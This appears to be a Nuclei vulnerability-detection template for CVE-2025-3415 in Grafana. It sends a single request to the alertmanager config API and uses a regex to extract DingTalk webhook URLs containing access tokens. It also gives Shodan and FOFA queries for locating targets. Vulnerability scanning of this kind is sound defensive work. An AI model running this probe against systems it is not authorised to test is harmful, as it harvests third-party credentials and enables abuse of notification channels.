Grafana - Exposes DingDing API Keys

id: CVE-2025-3415

info:
  name: Grafana - Exposes DingDing API Keys
  author: lucasribolli
  severity: medium
  description: |
    An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
  impact: |
    Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.
  remediation: |
    Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.
  reference:
    - https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/
  classification:
    epss-score: 0.01083
    epss-percentile: 0.65085
  metadata:
    verified: true
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - http.title:"grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln

http:
  - raw:
      - |
        GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "dingtalk.com","dingding-context")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: dingding-integration-url
        part: body
        regex:
          - '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+'
# digest: 4a0a004730450221009450eb0a2191354e4071826b2e152819115c1cd848081a73550e13839054122c022051645fc311d830ce1fb7750de936abf8b38e32d43066b12cbbaacc498c3c4a42:922c64590222798bb761d5b6d8e72950